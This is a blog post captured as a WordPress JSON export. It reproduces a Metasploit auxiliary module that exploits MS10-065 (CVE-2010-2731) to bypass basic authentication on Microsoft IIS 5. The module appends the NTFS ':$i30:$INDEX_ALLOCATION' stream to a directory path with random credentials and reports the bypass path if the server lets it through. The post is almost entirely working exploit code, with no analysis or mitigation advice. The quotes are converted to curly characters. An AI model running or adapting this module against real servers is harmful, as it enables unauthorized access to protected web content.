##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass’,
‘Description’ => %q{
This module bypasses basic authentication for Internet Information Services (IIS).
By appending the NTFS stream name to the directory name in a request, it is
possible to bypass authentication.
},
‘References’ => [
[ ‘CVE’, ‘2010-2731’ ],
[ ‘OSVDB’, ‘66160’ ],
[ ‘MSB’, ‘MS10-065’ ],
[ ‘URL’, ‘https:\/\/soroush.secproject.com\/blog\/2010\/07\/iis5-1-directory-authentication-bypass-by-using-i30index_allocation\/’ ]],
‘Author’ => [
‘Soroush Dalili’,
‘sinn3r’
],
‘License’ => MSF_LICENSE,
‘DisclosureDate’ => ‘2010-07-02’
)
)<\/p>\n
register_options(
[
OptString.new(‘TARGETURI’, [true, ‘The URI directory where basic auth is enabled’, ‘\/’])
])
end<\/p>\n
def has_auth
uri = normalize_uri(target_uri.path)
uri << ‘\/’ if uri[-1, 1] != ‘\/’<\/p>\n
res = send_request_cgi({
‘uri’ => uri,
‘method’ => ‘GET’
})
vprint_status(res.body) if res<\/p>\n
return (res and res.code == 401)
end<\/p>\n
def try_auth
uri = normalize_uri(target_uri.path)
uri << ‘\/’ if uri[-1, 1] != ‘\/’
uri << Rex::Text.rand_text_alpha(rand(5..14)) + “.#{Rex::Text.rand_text_alpha(3)}”<\/p>\n
dir = File.dirname(uri) + ‘:$i30:$INDEX_ALLOCATION’ + ‘\/’<\/p>\n
user = Rex::Text.rand_text_alpha(rand(5..14))
pass = Rex::Text.rand_text_alpha(rand(5..14))<\/p>\n
vprint_status(“Requesting: #{dir}”)
res = send_request_cgi({
‘uri’ => dir,
‘method’ => ‘GET’,
‘authorization’ => basic_auth(user, pass)
})
vprint_status(res.body) if res<\/p>\n
return (res && (res.code != 401) && (res.code != 404)) ? dir : ”
end<\/p>\n
def run
if !has_auth
print_error(‘No basic authentication enabled’)
return
end<\/p>\n
bypass_string = try_auth<\/p>\n
if bypass_string.empty?
print_error(‘The bypass attempt did not work’)
else
print_good(“You can bypass auth by doing: #{bypass_string}”)
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,‘Name’ => ‘MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass’,‘Description’ => %q{This module bypasses basic authentication for Internet Information Services (IIS).By appending the NTFS stream name to the directory name in a request, it ispossible to bypass authentication.},‘References’ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59307","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59307","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59307"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59307\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59307"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59307"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59307"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}